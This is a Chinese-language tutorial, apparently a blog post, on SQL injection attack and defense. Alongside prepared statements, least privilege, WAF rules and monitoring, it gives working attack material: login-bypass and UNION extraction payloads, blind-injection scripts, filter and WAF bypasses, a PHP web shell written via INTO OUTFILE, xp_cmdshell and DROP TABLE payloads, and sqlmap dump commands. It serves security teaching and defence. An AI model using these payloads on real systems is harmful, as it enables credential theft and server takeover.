SQL注入攻击与防护攻略指南

SQL注入攻击与防护攻略

目录

  1. SQL注入介绍
  2. SQL注入原理
  3. 重难点分析
  4. 攻击与防护实践
  5. 防御全攻略
  6. 实战案例
  7. 工具与检测

1. SQL注入介绍

1.1 什么是SQL注入

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入参数中插入恶意的SQL代码,从而欺骗数据库服务器执行非预期的SQL命令。

1.2 SQL注入的危害

危害类型具体影响
数据泄露获取敏感数据(用户密码、个人信息、商业机密)
数据篡改修改、删除数据库中的数据
权限提升获取数据库管理员权限,甚至系统权限
拒绝服务通过恶意SQL语句导致数据库性能下降或崩溃
系统入侵通过数据库功能执行系统命令,进一步入侵服务器

1.3 SQL注入的分类

1.3.1 按注入位置分类
  • GET参数注入:通过URL参数注入
  • POST参数注入:通过表单提交注入
  • Cookie注入:通过Cookie值注入
  • HTTP头注入:通过User-Agent、Referer等HTTP头注入
  • 二次注入:数据先存储后使用时的注入
1.3.2 按注入方式分类
  • 联合查询注入(Union):使用UNION关键字合并查询结果
  • 布尔盲注(Boolean-based):通过页面返回的布尔值判断
  • 时间盲注(Time-based):通过页面响应时间判断
  • 报错注入(Error-based):通过数据库错误信息获取数据
  • 堆叠注入(Stacked):执行多条SQL语句

1.4 SQL注入的现状

  • OWASP Top 10:SQL注入长期位列前3名
  • 影响范围:几乎所有使用数据库的Web应用都可能存在
  • 检测难度:自动化工具难以完全检测,需要人工分析
  • 修复成本:修复需要重构代码,成本较高

2. SQL注入原理

2.1 基本原理

SQL注入的根本原因是:程序将用户输入的数据直接拼接到SQL语句中,没有进行充分的验证和过滤

2.1.1 正常SQL执行流程
// 正常情况
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// 用户输入:admin
// 执行SQL:SELECT * FROM users WHERE username = 'admin'
2.1.2 SQL注入攻击流程
// 存在注入漏洞的代码
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// 攻击者输入:admin' OR '1'='1
// 执行SQL:SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 结果:返回所有用户数据

2.2 注入原理详解

2.2.1 字符串拼接注入

漏洞代码示例:

// Java示例
String id = request.getParameter("id");
String sql = "SELECT * FROM products WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

攻击示例:

正常输入:id = 1
执行SQL:SELECT * FROM products WHERE id = 1

恶意输入:id = 1 OR 1=1
执行SQL:SELECT * FROM products WHERE id = 1 OR 1=1
结果:返回所有产品数据
2.2.2 字符串引号注入

漏洞代码示例:

String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username + 
             "' AND password = '" + password + "'";

攻击示例:

正常输入:
username = admin
password = 123456
执行SQL:SELECT * FROM users WHERE username = 'admin' AND password = '123456'

恶意输入:
username = admin' --
password = (任意值)
执行SQL:SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
结果:注释掉后面的条件,绕过密码验证
2.2.3 数字型注入

漏洞代码示例:

String id = request.getParameter("id");
String sql = "SELECT * FROM articles WHERE id = " + id;

攻击示例:

恶意输入:id = 1 UNION SELECT username, password FROM users
执行SQL:SELECT * FROM articles WHERE id = 1 UNION SELECT username, password FROM users
结果:获取用户表中的用户名和密码

2.3 注入点识别

2.3.1 常见注入点
  1. 登录表单

    SELECT * FROM users WHERE username = '$username' AND password = '$password'
    
  2. 搜索功能

    SELECT * FROM products WHERE name LIKE '%$keyword%'
    
  3. URL参数

    SELECT * FROM news WHERE id = $id
    
  4. 排序功能

    SELECT * FROM users ORDER BY $orderBy
    
  5. 分页功能

    SELECT * FROM products LIMIT $offset, $limit
    
2.3.2 注入点测试方法

方法1:单引号测试

输入:'
观察:是否出现SQL语法错误

方法2:布尔测试

输入:1' AND '1'='1  (应该返回正常结果)
输入:1' AND '1'='2  (应该返回空结果)

方法3:时间延迟测试

输入:1' AND SLEEP(5)--
观察:页面响应是否延迟5秒

3. 重难点分析

3.1 难点一:绕过过滤机制

3.1.1 关键字过滤绕过

常见过滤:

  • 过滤 SELECTUNIONWHERE 等关键字
  • 过滤单引号、双引号
  • 过滤注释符 --#/* */

绕过技巧:

  1. 大小写混合

    SeLeCt * FrOm users
    
  2. 双写关键字

    SELSELECTECT * FROM users  -- 如果过滤SELECT,可能只删除一个
    
  3. 使用注释符分割

    SEL/**/ECT * FR/**/OM users
    
  4. 使用编码

    %53%45%4C%45%43%54  -- SELECT的URL编码
    
  5. 使用等价函数

    -- 如果过滤了空格,使用注释符代替
    SELECT/**/*/**/FROM/**/users
    
    -- 如果过滤了单引号,使用十六进制
    SELECT * FROM users WHERE username = 0x61646D696E  -- admin的十六进制
    
3.1.2 WAF绕过

常见WAF规则:

  • 检测SQL关键字
  • 检测特殊字符
  • 检测请求频率

绕过方法:

  1. 注释符绕过

    UNION/**/SELECT/**/1,2,3
    
  2. 内联注释绕过(MySQL)

    /*!UNION*/ /*!SELECT*/ 1,2,3
    
  3. 编码绕过

    -- URL编码
    %55%4E%49%4F%4E  -- UNION
    
    -- Unicode编码
    %u0055%u004E%u0049%u004F%u004E  -- UNION
    
  4. 分块传输

    使用Transfer-Encoding: chunked
    将恶意SQL分块传输,绕过WAF检测
    

3.2 难点二:盲注技术

3.2.1 布尔盲注

原理: 通过页面返回的布尔值(真/假)来判断SQL执行结果。

示例:

-- 判断数据库名长度
?id=1' AND LENGTH(DATABASE())>5--  -- 如果返回正常,说明长度>5
?id=1' AND LENGTH(DATABASE())>10--  -- 如果返回空,说明长度<=10

-- 逐字符判断数据库名
?id=1' AND SUBSTRING(DATABASE(),1,1)='a'--  -- 判断第一个字符是否为'a'
?id=1' AND SUBSTRING(DATABASE(),1,1)='b'--  -- 判断第一个字符是否为'b'

自动化脚本思路:

import requests

def boolean_blind_injection(url, payload_template):
    result = ""
    for i in range(1, 100):
        for char in "abcdefghijklmnopqrstuvwxyz0123456789_":
            payload = payload_template.format(pos=i, char=char)
            response = requests.get(url, params={"id": payload})
            if "正常标识" in response.text:
                result += char
                print(f"找到字符: {char}, 当前结果: {result}")
                break
        else:
            break
    return result
3.2.2 时间盲注

原理: 通过页面响应时间来判断SQL执行结果。

示例:

-- MySQL时间盲注
?id=1' AND IF(LENGTH(DATABASE())>5, SLEEP(5), 0)--

-- 逐字符判断
?id=1' AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--

时间盲注函数:

数据库延迟函数
MySQLSLEEP(n), BENCHMARK(count, expr)
PostgreSQLPG_SLEEP(n)
MSSQLWAITFOR DELAY '0:0:5'
OracleDBMS_PIPE.RECEIVE_MESSAGE('a', 5)

3.3 难点三:联合查询注入

3.3.1 确定列数
-- 方法1:ORDER BY
?id=1' ORDER BY 1--  -- 正常
?id=1' ORDER BY 2--  -- 正常
?id=1' ORDER BY 3--  -- 正常
?id=1' ORDER BY 4--  -- 报错,说明只有3列

-- 方法2:UNION SELECT
?id=1' UNION SELECT 1--  -- 报错
?id=1' UNION SELECT 1,2--  -- 报错
?id=1' UNION SELECT 1,2,3--  -- 正常,说明有3列
3.3.2 确定显示位置
-- 使用数字标记显示位置
?id=1' UNION SELECT 1,2,3--

-- 页面显示2和3,说明第2、3列会显示在页面上
-- 可以在这些位置注入查询语句
?id=1' UNION SELECT 1, DATABASE(), USER()--
3.3.3 获取数据
-- 获取数据库名
?id=1' UNION SELECT 1, DATABASE(), 3--

-- 获取表名
?id=1' UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()--

-- 获取列名
?id=1' UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'--

-- 获取数据
?id=1' UNION SELECT 1, username, password FROM users--

3.4 难点四:报错注入

3.4.1 MySQL报错注入

常用函数:

  1. extractvalue()

    ?id=1' AND extractvalue(1, concat(0x7e, (SELECT DATABASE()), 0x7e))--
    
  2. updatexml()

    ?id=1' AND updatexml(1, concat(0x7e, (SELECT DATABASE()), 0x7e), 1)--
    
  3. floor() + rand() + group by

    ?id=1' AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY CONCAT((SELECT DATABASE()), FLOOR(RAND(0)*2)))--
    
3.4.2 报错注入的优势
  • 不需要显示位置
  • 可以快速获取数据
  • 适合盲注场景

4. 攻击与防护实践

4.1 攻击实践

4.1.1 实战场景一:登录绕过

目标代码:

String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username + 
             "' AND password = '" + password + "'";

攻击步骤:

  1. 测试注入点

    用户名:admin'
    观察:是否出现SQL错误
    
  2. 构造绕过语句

    用户名:admin' --
    密码:任意值
    
    执行SQL:
    SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
    
  3. 使用OR绕过

    用户名:admin' OR '1'='1
    密码:任意值
    
    执行SQL:
    SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'xxx'
    
4.1.2 实战场景二:数据提取

目标: 获取users表中的用户名和密码

步骤:

  1. 确定注入点

    ?id=1' AND 1=1--  -- 正常
    ?id=1' AND 1=2--  -- 异常
    
  2. 确定列数

    ?id=1' ORDER BY 3--  -- 正常
    ?id=1' ORDER BY 4--  -- 报错,说明有3列
    
  3. 确定显示位置

    ?id=1' UNION SELECT 1,2,3--
    -- 页面显示2和3
    
  4. 获取表名

    ?id=1' UNION SELECT 1, TABLE_NAME, 3 
    FROM information_schema.TABLES 
    WHERE TABLE_SCHEMA=DATABASE()--
    
  5. 获取列名

    ?id=1' UNION SELECT 1, COLUMN_NAME, 3 
    FROM information_schema.COLUMNS 
    WHERE TABLE_NAME='users'--
    
  6. 获取数据

    ?id=1' UNION SELECT 1, username, password FROM users--
    
4.1.3 实战场景三:文件读写

MySQL文件读写:

-- 读取文件
?id=1' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--

-- 写入文件(需要FILE权限)
?id=1' INTO OUTFILE '/var/www/html/shell.php' 
SELECT '<?php @eval($_POST[cmd]); ?>'--

注意事项:

  • 需要数据库用户有FILE权限
  • 需要知道Web目录的绝对路径
  • 需要secure_file_priv配置允许

4.2 防护实践

4.2.1 使用预编译语句(PreparedStatement)

Java示例:

// ❌ 错误方式:字符串拼接
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

// ✅ 正确方式:预编译语句
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

原理:

  • SQL语句和参数分离
  • 参数会被转义处理
  • 数据库会预编译SQL结构,参数无法改变SQL结构

MyBatis示例:

<!-- ✅ 正确:使用参数化查询 -->
<select id="getUser" resultType="User">
    SELECT * FROM users WHERE username = #{username}
</select>

<!-- ❌ 错误:使用字符串拼接 -->
<select id="getUser" resultType="User">
    SELECT * FROM users WHERE username = '${username}'
</select>
4.2.2 输入验证和过滤

白名单验证:

// 数字类型验证
public boolean isValidId(String id) {
    return id.matches("^[0-9]+$");
}

// 枚举值验证
public boolean isValidStatus(String status) {
    return Arrays.asList("active", "inactive", "pending").contains(status);
}

黑名单过滤(不推荐,容易被绕过):

// 不推荐:容易被绕过
String[] dangerous = {"SELECT", "UNION", "DROP", "DELETE", "--", "/*"};
for (String keyword : dangerous) {
    if (input.contains(keyword)) {
        throw new SecurityException("Invalid input");
    }
}
4.2.3 最小权限原则

数据库用户权限:

-- ❌ 错误:使用root用户
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'localhost';

-- ✅ 正确:最小权限
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
-- 不授予DROP、DELETE、FILE等危险权限
4.2.4 错误处理

不暴露数据库错误信息:

// ❌ 错误:直接返回错误信息
try {
    // SQL执行
} catch (SQLException e) {
    response.getWriter().write("Error: " + e.getMessage());
    // 可能暴露数据库结构信息
}

// ✅ 正确:记录日志,返回通用错误
try {
    // SQL执行
} catch (SQLException e) {
    logger.error("Database error", e);
    response.getWriter().write("An error occurred. Please try again later.");
}
4.2.5 使用ORM框架

MyBatis-Plus示例:

// ✅ 使用ORM框架,自动使用预编译语句
@Autowired
private UserMapper userMapper;

public User getUser(String username) {
    QueryWrapper<User> wrapper = new QueryWrapper<>();
    wrapper.eq("username", username);
    return userMapper.selectOne(wrapper);
}

JPA/Hibernate示例:

// ✅ 使用JPA,自动防护SQL注入
@Repository
public interface UserRepository extends JpaRepository<User, Long> {
    @Query("SELECT u FROM User u WHERE u.username = :username")
    User findByUsername(@Param("username") String username);
}

5. 防御全攻略

5.1 开发阶段防护

5.1.1 编码规范

强制使用预编译语句:

// 代码审查检查清单
□ 禁止使用字符串拼接SQL
□ 禁止使用Statement.executeQuery()
□ 必须使用PreparedStatementMyBatis必须使用#{},禁止使用${}

代码示例检查:

// ❌ 禁止
String sql = "SELECT * FROM users WHERE id = " + id;

// ✅ 允许
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, id);
5.1.2 输入验证框架

使用Bean Validation:

public class UserRequest {
    @NotNull
    @Pattern(regexp = "^[a-zA-Z0-9_]{3,20}$", message = "用户名格式不正确")
    private String username;
  
    @NotNull
    @Size(min = 6, max = 20, message = "密码长度必须在6-20之间")
    private String password;
}
5.1.3 安全编码库

使用ESAPI(OWASP Enterprise Security API):

import org.owasp.esapi.ESAPI;
import org.owasp.esapi.Encoder;

Encoder encoder = ESAPI.encoder();
String safeInput = encoder.encodeForSQL(encoder.getDefaultCodec(), userInput);

5.2 框架层面防护

5.2.1 MyBatis防护

正确使用参数化查询:

<!-- ✅ 正确:使用#{} -->
<select id="getUser" resultType="User">
    SELECT * FROM users 
    WHERE username = #{username} 
    AND status = #{status}
</select>

<!-- ❌ 错误:使用${} -->
<select id="getUser" resultType="User">
    SELECT * FROM users WHERE username = '${username}'
</select>

<!-- 特殊情况:必须使用${}时,需要严格验证 -->
<select id="getUser" resultType="User">
    SELECT * FROM users 
    ORDER BY 
    <choose>
        <when test="orderBy == 'id' or orderBy == 'name'">
            ${orderBy}
        </when>
        <otherwise>
            id
        </otherwise>
    </choose>
</select>
5.2.2 Spring Data JPA防护
// ✅ JPA自动使用预编译语句
public interface UserRepository extends JpaRepository<User, Long> {
    // 方法名查询
    User findByUsername(String username);
  
    // @Query注解
    @Query("SELECT u FROM User u WHERE u.username = :username")
    User findByUsernameQuery(@Param("username") String username);
  
    // 原生SQL(不推荐,如必须使用需参数化)
    @Query(value = "SELECT * FROM users WHERE username = ?1", nativeQuery = true)
    User findByUsernameNative(String username);
}

5.3 运行时防护

5.3.1 WAF(Web应用防火墙)

部署WAF:

  • 商业WAF:阿里云WAF、腾讯云WAF、AWS WAF
  • 开源WAF:ModSecurity、Naxsi

ModSecurity规则示例:

# 检测SQL注入
SecRule ARGS "@detectSQLi" \
    "id:1001,\
    phase:2,\
    block,\
    msg:'SQL Injection Attack Detected',\
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
5.3.2 RASP(运行时应用自我保护)

RASP原理:

  • 在应用运行时检测SQL注入
  • 拦截危险SQL执行
  • 记录攻击行为

Java RASP示例(使用ByteBuddy):

@Advice.OnMethodEnter
static void enter(@Advice.Argument(0) String sql) {
    if (isSQLInjection(sql)) {
        throw new SecurityException("SQL Injection detected: " + sql);
    }
}
5.3.3 数据库审计

开启数据库审计日志:

-- MySQL开启审计
SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';

-- 查看审计日志
SELECT * FROM mysql.general_log 
WHERE argument LIKE '%SELECT%' 
ORDER BY event_time DESC;

5.4 数据库层面防护

5.4.1 数据库配置

MySQL安全配置:

# my.cnf
[mysqld]
# 禁止LOAD_FILE和INTO OUTFILE
secure_file_priv = ""

# 禁用危险函数
# 可以通过禁用FILE权限实现

# 启用SQL模式
sql_mode = STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
5.4.2 存储过程

使用存储过程封装业务逻辑:

-- 创建存储过程
DELIMITER //
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50))
BEGIN
    SELECT * FROM users WHERE username = p_username;
END //
DELIMITER ;

-- Java调用
CallableStatement cs = connection.prepareCall("{CALL GetUser(?)}");
cs.setString(1, username);
ResultSet rs = cs.executeQuery();

5.5 检测与监控

5.5.1 代码扫描

使用静态代码分析工具:

  • SonarQube:检测SQL注入漏洞
  • FindBugs/SpotBugs:检测不安全代码
  • Checkmarx:商业代码扫描工具

SonarQube规则:

<rule>
    <key>S2076</key>
    <name>SQL queries should not be vulnerable to injection attacks</name>
    <description>SQL注入检测规则</description>
</rule>
5.5.2 渗透测试

定期进行安全测试:

  • OWASP ZAP:自动化安全扫描
  • SQLMap:SQL注入检测工具
  • Burp Suite:手动渗透测试
5.5.3 日志监控

监控异常SQL:

// 记录所有SQL执行
@Aspect
@Component
public class SqlLogAspect {
    @Around("execution(* *..*Mapper.*(..))")
    public Object logSql(ProceedingJoinPoint joinPoint) throws Throwable {
        String sql = getSql(joinPoint);
        if (isSuspicious(sql)) {
            logger.warn("Suspicious SQL detected: " + sql);
            // 发送告警
        }
        return joinPoint.proceed();
    }
  
    private boolean isSuspicious(String sql) {
        String[] patterns = {
            ".*UNION.*SELECT.*",
            ".*OR.*1.*=.*1.*",
            ".*';.*--.*"
        };
        for (String pattern : patterns) {
            if (sql.matches(pattern)) {
                return true;
            }
        }
        return false;
    }
}

5.6 应急响应

5.6.1 发现SQL注入后的处理
  1. 立即隔离

    • 禁用相关功能
    • 临时关闭接口
  2. 评估影响

    • 检查日志,确定攻击范围
    • 评估数据泄露情况
  3. 修复漏洞

    • 使用预编译语句重构代码
    • 进行安全测试验证
  4. 通知用户

    • 如涉及数据泄露,通知受影响用户
    • 建议修改密码
  5. 事后总结

    • 分析攻击路径
    • 完善防护措施

6. 实战案例

6.1 案例一:登录绕过

漏洞代码:

@PostMapping("/login")
public String login(String username, String password) {
    String sql = "SELECT * FROM users WHERE username = '" + username + 
                 "' AND password = '" + password + "'";
    // 执行SQL...
}

攻击载荷:

username: admin' --
password: (任意值)

修复方案:

@PostMapping("/login")
public String login(String username, String password) {
    String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
    PreparedStatement pstmt = connection.prepareStatement(sql);
    pstmt.setString(1, username);
    pstmt.setString(2, password);
    // 执行SQL...
}

6.2 案例二:搜索功能注入

漏洞代码:

@GetMapping("/search")
public List<Product> search(String keyword) {
    String sql = "SELECT * FROM products WHERE name LIKE '%" + keyword + "%'";
    // 执行SQL...
}

攻击载荷:

keyword: %' UNION SELECT username, password FROM users--

修复方案:

@GetMapping("/search")
public List<Product> search(String keyword) {
    String sql = "SELECT * FROM products WHERE name LIKE ?";
    PreparedStatement pstmt = connection.prepareStatement(sql);
    pstmt.setString(1, "%" + keyword + "%");
    // 执行SQL...
}

6.3 案例三:排序功能注入

漏洞代码:

@GetMapping("/list")
public List<User> list(String orderBy) {
    String sql = "SELECT * FROM users ORDER BY " + orderBy;
    // 执行SQL...
}

攻击载荷:

orderBy: id; DROP TABLE users--

修复方案:

@GetMapping("/list")
public List<User> list(String orderBy) {
    // 白名单验证
    List<String> allowedColumns = Arrays.asList("id", "name", "create_time");
    if (!allowedColumns.contains(orderBy)) {
        orderBy = "id";
    }
    String sql = "SELECT * FROM users ORDER BY " + orderBy;
    // 执行SQL...
}

7. 工具与检测

7.1 检测工具

7.1.1 SQLMap

功能: 自动化SQL注入检测和利用工具

使用方法:

# 基本检测
sqlmap -u "http://example.com/page?id=1"

# 指定参数
sqlmap -u "http://example.com/login" --data="username=admin&password=123"

# 获取数据库
sqlmap -u "http://example.com/page?id=1" --dbs

# 获取表
sqlmap -u "http://example.com/page?id=1" -D database_name --tables

# 获取数据
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
7.1.2 Burp Suite

功能: Web安全测试平台

使用步骤:

  1. 配置代理
  2. 拦截HTTP请求
  3. 发送到Repeater
  4. 修改参数测试SQL注入
7.1.3 OWASP ZAP

功能: 开源Web应用安全扫描器

使用方法:

  1. 启动ZAP
  2. 配置代理
  3. 浏览目标网站
  4. 查看扫描结果

7.2 防护工具

7.2.1 ModSecurity

安装配置:

# 安装
apt-get install libapache2-mod-security2

# 配置
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
7.2.2 RASP工具
  • OpenRASP:百度开源RASP
  • Contrast Security:商业RASP
  • Hdiv:商业应用安全平台

7.3 代码扫描工具

7.3.1 SonarQube

配置SQL注入检测规则:

<!-- sonar-project.properties -->
sonar.issue.ignore.multicriteria=e1
sonar.issue.ignore.multicriteria.e1.ruleKey=java:S2076
sonar.issue.ignore.multicriteria.e1.resourceKey=**/*.java
7.3.2 FindBugs/SpotBugs

检测规则:

  • SQL_NONCONSTANT_STRING_PASSED_TO_EXECUTE
  • SQL_PREPARED_STATEMENT_GENERATED_FROM_NONCONSTANT_STRING

8. 最佳实践总结

8.1 开发阶段

  1. 强制使用预编译语句
  2. 输入验证和过滤
  3. 最小权限原则
  4. 错误处理不暴露信息
  5. 代码审查和安全测试

8.2 部署阶段

  1. 配置WAF
  2. 数据库安全配置
  3. 启用审计日志
  4. 定期安全扫描

8.3 运维阶段

  1. 监控异常SQL
  2. 定期渗透测试
  3. 及时修复漏洞
  4. 应急响应预案

8.4 检查清单

代码审查清单:

  • 是否使用PreparedStatement?
  • MyBatis是否使用#{}?
  • 是否有输入验证?
  • 错误信息是否安全?
  • 数据库用户权限是否最小化?

安全测试清单:

  • 是否进行SQL注入测试?
  • 是否使用自动化工具扫描?
  • 是否进行手动渗透测试?
  • 是否检查日志中的异常SQL?

9. 参考资料

9.1 OWASP资源

9.2 工具资源

9.3 学习资源


10. 附录

10.1 SQL注入Payload集合

通用Payload:

-- 注释符
' --
' #
'/*

-- 布尔测试
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
' OR '1'='1' /*

-- 联合查询
' UNION SELECT NULL--
' UNION SELECT 1,2,3--

-- 时间延迟
'; WAITFOR DELAY '0:0:5'--
'; SELECT SLEEP(5)--

MySQL特定:

-- 注释
' -- 
' #
'/*

-- 时间延迟
' AND SLEEP(5)--
' AND BENCHMARK(1000000,MD5(1))--

-- 报错注入
' AND extractvalue(1, concat(0x7e, (SELECT DATABASE()), 0x7e))--
' AND updatexml(1, concat(0x7e, (SELECT DATABASE()), 0x7e), 1)--

MSSQL特定:

-- 注释
' --
'/*

-- 时间延迟
'; WAITFOR DELAY '0:0:5'--

-- 堆叠查询
'; EXEC xp_cmdshell('whoami')--

10.2 常见绕过技巧

过滤内容绕过方法
空格/**/, %09, %0A, %0D
单引号\', %27, CHAR(39)
注释符-- , #, /* */
SELECTSeLeCt, SEL/**/ECT
UNIONUnIoN, UNI/**/ON
AND/ORAnD, Or, &&, ||

免责声明: 本文档仅用于安全研究和防护目的。请勿将本文档中的技术用于非法用途。使用本文档进行安全测试时,请确保已获得授权。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值